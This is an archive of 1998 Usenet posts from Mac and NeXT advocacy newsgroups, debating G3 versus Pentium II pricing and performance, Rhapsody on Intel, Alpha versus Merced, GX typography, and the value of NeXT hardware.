> > In what respect?
>
> MS wouldn't have been motivated to counter the solid mind/marketshare that
> OS/2 enjoyed in the late-80s with Windows 3.0
I must have missed the original post.
> > At the time though, it's still true. I never _ever_ remember the Mac
being
> >taken seriously.
>
> Hm, I recall the Mac was generally seen as the PC of choice.
Ask anyone here (yourself excluded in this particular case) and I think
you'll find the overwhelming concensus is that everyone in the computer world
generally regarded Macs as "overpriced toys" in the 1988/90 time frame.
> In the area of networking, as an example
A perfect example in this case. Since networking on the Mac was invisible,
it never appeared in books or magazines. For networking consultants, the
fact that the Mac even WAS networkable was rarely ceeded. At the time
networking = Novel (or Vines or SNA or such) and since the Mac didn't do
THAT, it didn't "really" network.
> My customers were obviously different from yours.
Viva le differance!
> That's one of the things that frosts me about Steve Jobs - he really seems
> to believe that people still consider desktop computer technology as
> futuristic, when its about a conventional as you can get. Both MS and IBM
> did it better in that regard, they always hyped their products as
> conventional solutions for conventional problems, and rarely relied/rely
> upon the "wow" factor.
Wellllll, I don't know. Apple simply refused to compete for many years,
and now they are simply locked out of the business desktop (serve's them
right in that regard). However the fact remains that the majority of
households in the US, and even more abroad, don't have a computer. In those
households I'll bet they are indeed view as somewhat futuristic, so selling
them that way into *that* market does make some sense to me.
IBM sold IBM. Businesses wanted that, it was free marketting and a great
sales force for the most part. Any hint of "different" in the late 80's was
death. However the penetration into homes was pathetic and marked most
clearly by the overwhelming failure of the PCjr. In this case people wanted
something colourful and fun, and the PC certainly wasn't seen as either of
those.
It's Apple's own fault they didn't always have a consumer device available,
because they'd own the home market now.
Maury
From: a l t e n b e r@nashville.com
Newsgroups: comp.sys.next.advocacy
Subject: G3/PII Benchmark Test
Date: 29 May 1998 18:34:24 GMT
Organization: All USENET -- http://www.Supernews.com
Message-ID: <6kmv3g$ll9$1@usenet11.supernews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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My favorite floating point benchmark program is a little engineering program
in C by Phillip Tokumaru. I have placed in on the Web at
http://pueo.mhpcc.edu/~altenber/NeXT/panelbench.c
If anyone out there has a PII or G3 system that they would like run the
program on, I would love it if you could e-mail me the results to add to the
list already collected. The program file has benchmark results for SGI,
NeXT, PentiumPro, Sparc, SP2 and other systems in its text. As can be seen,
the PentiumPro has all the others beat handily, but it has fallen out of
date. Compilation instructions are in the program file.
Thanks!
--
======================================================================
Lee Altenberg, Ph.D.
Research Affiliate, Hawai`i Institute of Geophysics and Planetology
University of Hawai`i at Manoa
Office: Maui High Performance Computing Center
550 Lipoa Parkway, Suite 100, Kihei, Maui HI 96753
Phone: (808) 879-5077 x 296 (work), (808) 879-5018 (fax)
E-mail: alte nb er@soc1.acpub.duke.edu (delete spaces, anti-spam tactic)
Web: http://pueo.mhpcc.edu/~altenber/
======================================================================
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 29 May 1998 20:54:51 GMT
Message-ID: <6kn7ar$npv$5@newsfep4.sprintmail.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net>
<6kiqhr$22u$1@nargun.cc.uq.edu.au> <gmgraves-2805981033260001@sf-usr1-44-172.dialup.slip.net>
<6kkj6t$9l7$1@nargun.cc.uq.edu.au> <cirby-2805981808500001@pm61-24.magicnet.net>
<6kkq5b$qkd$1@newsfep1.sprintmail.com> <joe.ragosta-2905980847510001@wil95.dol.net>
<6kmq0p$hp6$2@newsfep4.sprintmail.com>
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Cc: macghod@concentric.net
In <6kmq0p$hp6$2@newsfep4.sprintmail.com> macghod@concentric.net wrote:
> PS
> It looks like I will be buying a g3 233 after all, I found someone with a
> used g3 233 stock who will sell it to me for $1300 including shipping.
Actually now the guy is waffling:
Hi
I think ,for COD, you need to pay by either money order or cashier check.
There are some offers about this computer right now. So Please give me
some time. I will get back to you this weekend.
Regards,
david
PS
I had to get system software on my duo 280c and dont have a dock. A very
nice person let me come over to install it via localtalk. First I had to
copy some system files to floppy to put on my duo to get filesharing working.
His powermac, with 8.0 FROZE TWICE!!! in the 1 I was their. Thank god, if
I do find a g3 in my price range, it can run rhapsody :) Openstep has not
crashed ONCE on this pc in the 3 months I have had it.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 29 May 1998 14:24:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1947598-35F2A@206.165.43.148>
References: <jak-2905981049520001@adialup109.phnx.uswest.net>
To: "John Kestner" <jak@asu.edu>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
John Kestner <jak@asu.edu>
>....and a light comes on. Okay, that's more reasonable. For some reason, I
>was thinking extruded 3D text. I'll take it back; I'd find editable
>perspective text useful.
>
Yar, the built-in text-handling routines of GX can handle perspective and
other non-affine (non-rotation/skew) distortions of 2D objects. For
instance, there's a GX library routine that takes a two arbitrary
quadrilaterals and provides a distortion transform that would map every
point in a shape from one quadrilateral to the other.
In other words, it would distor a square into some kind of oddly shaped
4-sided figure if that is how you set it up. It works with any kind of GX
shape, including bitmap and text, so you can create some odd warpings just
by moving the corners of your selection rectangle.
LightningDraw does things this way. You can grab any corner or side of a
text-block or other shape and distort it by moving the corner/side around.
It doesn't just do rotations and skews like the proposed Carbon 3x2
transform does and it does more than perspective if you like.
Getting back to drop shadows...
GX supports multiple LAYERS of "drop shadows." Each layer is a modification
of the original letter, including all 3x3 transformations, patterns,
graphics-styles, etc., that GX graphics AND text support. Once you've
defined a given layer, GX remembers all the settings in a given style-run
of text and every letter that you type automatically has these
modifications added.
For instance, if you wanted to control italics beyond what the font already
provides, you could skew a layer of the text as much as you want. If you
want a NEW kind of "italic," you could use the mapping routine that I
mention above and have letters that progresively slant more, the farther
right they go.
IE,
OOOOOOOOO
O O
O O
O O
O O
O O
OOOOOOOOO
becomes
OOOOOOOOO
O O
O O
O O
O O
O O
OOOOOOOOOOOO
And remember, the text-handling routines know about layers and transforms
so they'll even allow editing of these individually distorted letters and
layers of distortion just as you normally edit a sentence in a non-GX word
processor.
You could even use 3D perspective as a drop shadow:
TTTTTTTTTTTTTT
TTTTTTTTTTTTTT
TTTT
TTTT
TTTT
TTTT
TTTT
TTTT
TTTT
TTTT
could become sorta like:
tt
ttt
TTTTTTTTTTTTTT ttt
TTTTTTTTTTTTTT tttttt
TTTT ttt ttt
TTTT ttt tt
TTTT ttt tt
TTTT ttt
TTTT ttt
TTTT ttt
TTTTttt
TTTTt
and every letter that you typed in that style would have that effect.
You could even define a simple perspective drop-shadow without any "normal"
layer in front, thusly:
TTTTTTTTTTTTTTTTT
TTTTTTTTTTTTTTTTTTT
T
TT
TTT
TTTT
TTTTTT
TTTTTTT
TTTTTTTTT
and every letter typed would have its own individual perspective separate
from the perspective/skew/rotate that might be applied to the entire
line/block of text.
THIS IS BUILT INTO GX. Do you now understand what Apple is giving up by not
bringing GX into Carbon? Apparently, the only part of GX typography that is
making it into Carbon and the Yellow Box are the formatting routines that
handle multiple languages in a single line of text. GX typography is far,
FAR more than that. The programming manual for GX text is 500 pages long
and that only includes the stuff that isn't included in GX graphics since
GX typography includes all features found in the two 400-page GX graphics
manuals PLUS the stuff in the 500 page typography manual.
Imagine the entire power of Freehand applied to a SINGLE letter of editable
text.
THAT is GX typography.
And THAT is what Apple is giving up in Carbon/YB for MacOS X.
Note: my GXFCN (an XFCN for HyperCard) will eventually support ALL aspects
of GX typography from within HyperCard. Since GX can export EPS files as
well as print to PostScript printers, this means that a professional DTP
person could script some pretty nifty images in HyperCard and save them as
EPS and port them into PageMaker if desired. This makes HyperCard a
professional-level DTP tool.
To throw Apple's own lack of judgement in their face, the cost of GXFCN
will be $10.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 29 May 1998 16:55:05 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kmp99$i5e$3@ns3.vrx.net>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM>
<6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net>
<356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com>
<slrn6ms4sm.79d.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-2905980008090001@dialin33418.slip.uci.edu>
<slrn6mu26s.abi.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-2905981406440001@dante.eng.uci.edu>
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Cc: rmcassid@uci.edu
In <rmcassid-2905981406440001@dante.eng.uci.edu> Robert Cassidy claimed:
> And now that Intel has it's hand in Alpha at least a little - what do you
> think it's future is with Merced coming? Does Alpha even make sense given
> the performance improvements that PPC is making and Merced is promising?
> Can they keep up?
Alpha currently outperforms most other processors in int performance by a
long shot. In float it (like the PPC) is similar or poorer than the P-II
(which has taken the FP crown over from the PPC that used to hold it). In
general it's still the best performing chip out there.
It is unlikely that the PPC will catch it in the next gens of the G3's at
least. And seeing as no one has seen a G4, that's up in the air too.
The same goes for the Merced. They claim it will be the fastest in the
world, but that remains to be seen. With the latest delays (just
"announced") DEC has another year to pump into the Alpha. I think it's safe
to say that it will be at least "comparable".
On the other hand HP is going IA-64 (as you'd expect) and it appears MIPS
and SPARC have nothing up their sleaves and are already being outperformed in
some areas as it is. That being the case the only real race appears to be
the Alpha and Merced, with a G4 a potential runner - but one that even Apple
doesn't seem to talk about much.
> Sure. But WinCE is already going to PPC so some of those headaches must be
> going away. Remembers Steve's August statement? Alpha doesn't go in
> laptops well. Alpha doesn't go low-end well. Alpha isn't cheap. Alpha
> isn't a lot of things that PPC is.
True, but in that space there's IA-32. It needs to be seen if the market
really opens up for PPC downscale.
> I'm still having a hard time seeing Alpha as a competitor to Merced or
> PPC. Am I missing something?
Depends on the market. For workstations it's currently the best there is
(in general terms at least) and with this latest delay it may remain that way
for some time.
Maury
From: morbius@eatspam&die.net (Morbius)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Fri, 29 May 1998 14:15:47 -0800
Organization: Brotherhood of Nod
Message-ID: <morbius-2905981416090001@1cust249.tnt1.santa-monica2.ca.da.uu.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <356ce269.0@206.25.228.5> <gmgraves-2805981058140001@sf-usr1-44-172.dialup.slip.net> <6kkfk9$e60@nntp02.primenet.com> <gmgraves-2805981618270001@sf-usr1-22-150.dialup.slip.net> <6kn63p$ta@nntp02.primenet.com>
In article <6kn63p$ta@nntp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
{DELETED}
> The bottom line is that Apple people will buy Apple computers because they
> want to run Apple operating systems.
And Windows and Linux and even DOS.
> Other people will buy Intel, or AMD,
> or Cyrix, or WinChip systems to run Microsoft, or Sun, or SCO, or Linux,
> or QNX, or Be, or any number of other operating systems. The hardware
> prices are close enough to be moot.
And the gentleman wins a cigar!...:)
> It is _all_ a question of what OS (or OSes) you want to run.
Exactly. Macs can run (if you have no choice or if you are into masochism)
software for Windows95, NT, DOS and Unix (several implementations).
Morbius
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Ummm, excuse me, mr jobs?
Date: Fri, 29 May 1998 15:43:35 -0700
Organization: University of British Columbia
Message-ID: <1d9sqo4.338cnt7x1sg0N@p069.intchg1.net.ubc.ca>
References: <6kfqnb$4jj$1@newsfep2.sprintmail.com> <jayfar-2605982311490001@downtown1-18.slip.netaxs.com> <6kg83m$k24$2@nntp2.ba.best.com> <6kkfan$jot$1@news10.ispnews.com> <fretwiz-2805981449550001@den-co15-15.ix.netcom.com> <6kkmb6$bho$1@news.apple.com> <6kn1n9$n5p$1@news10.ispnews.com> <6kn561$mao$1@news.apple.com>
Mark Dadgar <mdadgar@apple.com> wrote:
> The mouse does not light up. The mouse does not light up. The mouse does
> not light up.
...another cost-no-object innovation apparently developed, then dropped
by struggling Apple Computer. According to acting CEO Steve Jobs: "Yeah,
it was a cool idea. But then we thought, who needs this? You can overdo
this translucence thing."
--
Bruce Bennett
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Fri, 29 May 1998 15:11:56 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2905981511560001@news>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <3564A983.1DE3@CONVEX.COM> <6k3fho$be9$2@ns3.vrx.net> <3565A35B.AFDD18BC@nstar.net> <01bd85a8$4bed8860$04387880@test1> <3565BC52.B03EB5FC@nstar.net> <joe.ragosta-2205981514220001@wil124.dol.net> <3565F1AE.83D9D1A8@nstar.net> <joe.ragosta-2305980814510001@elk89.dol.net>
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In article <joe.ragosta-2305980814510001@elk89.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <3565F1AE.83D9D1A8@nstar.net>, "Michael J. Peck"
> <mjpeck@nstar.net> wrote:
>
> > You don't seem to be able to understand that sometimes (not always),
> > quantity *does* equal quality.
> >
> > And that's just part of the entire value proposition of Windows NT.
> > Something else you apparently missed.
>
> Good example. By your definition, Win95 is a better OS than WinNT because
> more people use it.
And for that matter, MacOS is better than Windows NT for the same reason.
Andy Bates.
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Fri, 29 May 1998 08:00:29 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <EtpKwu.Aw2@AWT.NL>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <6ki1sh$qcr$1@newsfep3.sprintmail.com> <joe.ragosta-2705982038040001@elk54.dol.net> <6kifon$4ed$1@newsfep3.sprintmail.com> <joe.ragosta-2805981143250001@wil92.dol.net> <6kkd5m$mjn$1@newsfep4.sprintmail.com>
I shouldn't, but I can't resist the temptation...
macghod@concentric.net wrote:
>Running on Openstep 4.2, the best os in the world, and about to get better!
Better? How, exactly?
--G
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Fri, 29 May 1998 08:22:09 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <EtpLwx.B00@AWT.NL>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <356ce269.0@206.25.228.5> <gmgraves-2805981058140001@sf-usr1-44-172.dialup.slip.net> <6kkfk9$e60@nntp02.primenet.com> <356de426.0@206.25.228.5> <morbius-2805981606210001@1cust115.tnt1.santa-monica2.ca.da.uu.net> <356e3edd.0@206.25.228.5>
John Kheit <jkheit@xtdl.com> wrote:
>morbius@eatspam&die.net (Morbius) wrote:
>> And the NEXT bozos are somehow exempt...:)
>
>Nope, just as bad. Although I do think that NeXT hardware was the
>best ever for the time. The times keep on changing. And they sure
>as heck weren't cheap.
Actually, at the time I compared some offerings. For instance a 386 PC with
SCO, An 030 Apple with A/UX and a 030 NeXT. All configured as close as
possible in terms of RAM etc.
I then found out that the NeXT (with all its default available stuff like
ethernet, TCP/IP, NFS, Development Environment, all very expensive software
add-ons on SCO for instance, and don't forget all the standard extra's like
MOD, stereo CD-quality sound and a 17" monitor and a cheap 400(!) dpi printer
and PostScript etc. etc. etc.).
NeXT not only was the fastest but also the cheapest option for a comparable
rich setup. By far. It was *the* reason I bought one. (Actually, the real
reason was that I was incredibly lucky to find an unused second-hand one at a
ridiculous price).
The image that NeXT was expensive and slow was more the result from marketing
failure than from anything real. Today, a Turbo NeXT (lowly 33MHz 040) still
works pretty good and fast. 486-es from that same period are very usable as
doorstops ;-). I have gotten an incredible return on that investment. And
even today, I can let it perform tricks that no Intel PC can (like
autobooting at night during summer so it won't burn out form the heat when I
am away for a longer period. This saved me the expense of airco for my
office). I have been extremely satisfied with my NeXT's and it is only now
that lack of some software support (Java) is starting to hurt.
NeXT boxes weren't cheap, but the cheap alternatives weren't really usable
and you always had to spend more on them to get to the same level. NeXT tried
to raise the hardware and software standard. They made some terrible mistakes
(only MOD, no floppy for instance) but all in all it has been extremely good
value for money.
Yours,
---
Gerben Wierda,
Stafmedewerker Adviesraad voor het Wetenschaps- en Technologiebeleid.
Staff member Advisory Council for Science and Technology Policy
Javastraat 42, 2585 AP, Den Haag/The Hague, The Netherlands
Tel (+31) 70 3639922 Fax (+31) 70 3608992
http://www.AWT.nl/prive/wierda/
The fox knows many things, but the hedgehog knows one big thing.
From: "Edwin E. Thorne" <edwin.thorne@rauland.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 29 May 1998 22:56:57 GMT
Organization: WorldWide Access - Midwestern Internet Services - www.wwa.com
Message-ID: <01bd8b54$465aa020$c07498cf@edwint.rauland.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <01bd8b3e$2b5d2600$c07498cf@edwint.rauland.com> <6kn6fm$npv$4@newsfep4.sprintmail.com> <01bd8b4e$2af12a80$c07498cf@edwint.rauland.com> <356F34AA.39E16C58@nstar.net>
Michael J. Peck <mjpeck@nstar.net> wrote in article
<356F34AA.39E16C58@nstar.net>...
> Edwin E. Thorne wrote:
>
> [cut]
>
> > > And, if I was anti mac, why would I care if macs are considerably
more
> > > expensive than like speed p2's? I would just go out and buy the p2.
I
> > > obviously have some affection for the mac.
> >
> > Nice double talk Macghod. You're trying to make G3s seem more
expensive
> > than PII's because you have "affection" for the Mac? Apple can do
without
> > your style of "affection."
>
> Oh, you're quite right. Head in the sand, all better now.
Take a look at the header of the post that your responding to. What kind
of machine did I use?
>
> > Are we supposed to forget all the Mac bashing that you did? It
clearly
> > proved that you are anti-Mac.
>
> Hm. Just opinion, but macghod is not anti-Mac. I think that anyone who's
> read a reasonable number of his postings would know that. But I can
> understand how a knee-jerking fool might not.
I have read a HUGE number of Macghod posts, going back for months, and they
clearly proved him to be anti-Mac. Please don't be what your last
sentence talks about.
> [cut]
>
> MJP
>
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 29 May 1998 22:59:47 GMT
Organization: I don't think so
Message-ID: <slrn6mtu4i.10d.jason@jhste1.dyn.ml.org>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kiqjf$q38$1@nargun.cc.uq.edu.au> <gmgraves-2805981020030001@sf-usr1-44-172.dialup.slip.net> <6kkitl$elu$1@nargun.cc.uq.edu.au> <joe.ragosta-2905980852240001@wil95.dol.net> <6kmn8i$ccl$1@bunyip.cc.uq.edu.au> <gmgraves-2905981042360001@sf-pm5-11-75.dialup.slip.net> <6kn19b$n3u$1@bunyip.cc.uq.edu.au>
Christopher Smith posted the following to comp.sys.mac.advocacy:
>So the people who have already overclocked pII/400s that high w/o excessive
>cooling don't really exist ? pII/400s go to 533 easy if your SDRAM can
>handle it - just run your front bus at 133Mhz instead of 100 - 133*4 =
>533Mhz. SDRAM that runs stable at these speeds is already available.
>Oh I get it, you're thinking of that old demo intel did of the first
>generation pIIs - IOW you're FUDding.
What does the L2 cache wind up being clocked at?
--
In my opinion MS is a lot better at making money than it is at making
good operating systems.
-- Linus Torvalds (http://www.twics.com/~tlug/linus.html)
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Fri, 29 May 1998 23:13:52 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <356F4130.14BC7E7B@nstar.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <01bd8b3e$2b5d2600$c07498cf@edwint.rauland.com> <6kn6fm$npv$4@newsfep4.sprintmail.com> <01bd8b4e$2af12a80$c07498cf@edwint.rauland.com> <356F34AA.39E16C58@nstar.net> <01bd8b54$465aa020$c07498cf@edwint.rauland.com>
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NNTP-Posting-Date: 29 May 1998 23:18:48 GMT
Edwin E. Thorne wrote:
> > > Nice double talk Macghod. You're trying to make G3s seem more
> expensive
> > > than PII's because you have "affection" for the Mac? Apple can do
> without
> > > your style of "affection."
> >
> > Oh, you're quite right. Head in the sand, all better now.
>
> Take a look at the header of the post that your responding to. What kind
> of machine did I use?
Microsoft...Internet...News. Oh. You're posting from a Wintel machine.
Anyway, what was your point? I forgot.
> > Hm. Just opinion, but macghod is not anti-Mac. I think that anyone who's
> > read a reasonable number of his postings would know that. But I can
> > understand how a knee-jerking fool might not.
>
> I have read a HUGE number of Macghod posts, going back for months, and they
> clearly proved him to be anti-Mac.
If the proof's so clear, I'm obviously missing something.
<DejaNews quote>
Subject: Macdude's thoughts on apple's profit
From: macghodREMOVE@concentric.net (macghod)
Date: 1998/01/07
Message-ID:
<macghodREMOVE-0701981051350001@ts006d07.lap-ca.concentric.net>
Newsgroups:
comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.sys.next.advocacy,comp.sys.powerpc.advocacy
[More Headers]
[Subscribe to comp.sys.mac.advocacy]
I know this comes as no surprise, but I m very down on apple. I love
macs, but hate apple.
Apple is NOT in a good position right now. Their sales were a very
meager
1.5 billion (I think this is right), and they are in very bad shape
employee wise.
I know some people thought I was trolling when I told about a
aquaintance
that was leaving apple because their quality standards are NOW (within
the
last month, you wont see the results for a while) non existant, but it
is
the truth. Various employees (quality assurance is what I am aware of)
are voluntarily leaving because they are disgusted with apple.
[cut]
</DejaNews quote>
I guess you missed this one (and others like it).
> Please don't be what your last
> sentence talks about.
Oh, how funny, coming from you, who apparently can't see shades of gray
of any kind. Read your little storage of Macghod posts, do some
thinking, take your time, don't pull any muscles. Figure it out.
MJP
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: OpenGL and Altivec
Date: Fri, 29 May 1998 16:28:17 -0700
Message-ID: <see-below-2905981628170001@209.24.242.29>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <rmcassid-2205981007210001@dante.eng.uci.edu> <se <christian.bau-2805980957090001@christian-mac.isltd.insignia.com> <rbarrisEtqEnG.FG3@netcom.com>
In article <rbarrisEtqEnG.FG3@netcom.com>, rbarris@netcom.com (Robert
Barris) wrote:
> In article <christian.bau-2805980957090001@christian-mac.isltd.insignia.com>,
> Christian Bau <christian.bau@isltd.insignia.com> wrote:
> >
> >In article <356AD3B0.5FA67D27@nstar.net>, "Michael J. Peck"
> ><mjpeck@nstar.net> wrote:
> >
> >> Your statement above says "...AltiVec should deliver competitive 3D."
> >> That's a bold statement, considering the PC 3D market.
> >
> >It is not so bold when you look at the AltiVec instruction set. If you
> >consider cost/performance ratio (once you have an AltiVec processor, the
> >3D graphics is free) it looks very competitive.
> >
> >> Does AltiVec do texture mapping, multitexture, texture blending? Does
> >> AltiVec have support for geometry setup, alpha blending, bilinear
> >> filtering, fogging?
> >
> >Read the Motorola page and look at the instruction set. Of course you wont
> >find a "fogging" instruction in the instruction set.
>
> Not so fast, Mike's got a good point.
>
> I'm firmly in the "AltiVec will solve a lot of problems but no way does
> it replace a dedicated 3D chip" camp.
Another point about 3D cards is they often have the typical 3D
instructions in a pipeline designed for 3D graphics, so the 3D chips are
doing a bunch of things at once. Much 3D rendering can happen in a single
cycle, since stuff just moves through the pipeline.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Fri, 29 May 1998 15:26:31 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2905981526310001@dante.eng.uci.edu>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <356e6a40.0@news.camtech.net.au> <6kn7t6$npv$7@newsfep4.sprintmail.com>
In article <6kn7t6$npv$7@newsfep4.sprintmail.com>, macghod@concentric.net wrote:
>BFD!! What does apple make on a g3, $500? Make rhapsody for intel $500 more
>than the ppc version. THen, if someone forgoes a g3, BFD.
And at $750 the potential market for Rhapsody/Intel drops from 1 million
seats to 100,000 and Apple *still* doesn't make enough to recoup the
development and support costs.
Just because its a good idea for *you* doesn't make it a good idea for Apple.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Fri, 29 May 1998 16:40:24 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2905981640240001@dante.eng.uci.edu>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <slrn6ms4sm.79d.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-2905980008090001@dialin33418.slip.uci.edu> <slrn6mu26s.abi.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-2905981406440001@dante.eng.uci.edu> <6kmp99$i5e$3@ns3.vrx.net>
In article <6kmp99$i5e$3@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
>In <rmcassid-2905981406440001@dante.eng.uci.edu> Robert Cassidy claimed:
>> I'm still having a hard time seeing Alpha as a competitor to Merced or
>> PPC. Am I missing something?
>
> Depends on the market. For workstations it's currently the best there is
>(in general terms at least) and with this latest delay it may remain that way
>for some time.
Aha! I finally figured out why I'm having a problem getting this. The
problem with Merced is that while it does attract the high-end developers,
and it does offer some x86 compatability, it doesn't offer anything that
Alpha does now. Basically it will be an expensive fast CPU that runs x86
apps slowly. Just like Alpha.
Can PPC catch up? I don't know. Maybe. If the performance rankings come
out like this:
Merced
Alpha
PPC
Then I agree that Alpha is appealing relative to PPC.
But if it is:
Alpha
Merced
PPC
Then I don't see the attraction to Merced. Why not just develop for Alpha?
Is it only because it's *not* an Intel chip? Is it that x86 compatability?
Is the whole planet that susceptable to marketing? Even in this case PPC
isn't interesting as a hedge.
But if it is:
Alpha
PPC
Merced
Then I think PPC should be looked at strongly because PPC would not
fracture the CPU market. It would certainly deliver from top to bottom as
well as ??? - x86 - Merced. It seems to me that any time you ask
developers to support two chips you are asking for too much, unless you
can nearly do it for them. How many native NT Alpha apps are there out
there? How many will there be after Merced?
-Bob Cassidy
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Fri, 29 May 1998 23:09:33 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6knf7d$i6a$1@nnrp1.dejanews.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net> <356c6872.0@206.25.228.5> <gmgraves-2705981748120001@sf-usr1-24-152.dialup.slip.net> <6kiqjf$q38$1@nargun.cc.uq.edu.au> <gmgraves-2805981020030001@sf-usr1-44-172.dialup.slip.net> <6kkitl$elu$1@nargun.cc.uq.edu.au> <356de30e.0@206.25.228.5>
Has anyone benchmarked the graphics speed of a G3-300 versus a PII-400 with a
decent AGP video card? I bet that the PC would come out on top and I'm
willing to put it to the test. Anyone have a graphics benchmark they want to
try?
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 30 May 1998 16:08:14 GMT
Organization: I don't think so
Message-ID: <slrn6n0btr.4f7.jason@jhste1.dyn.ml.org>
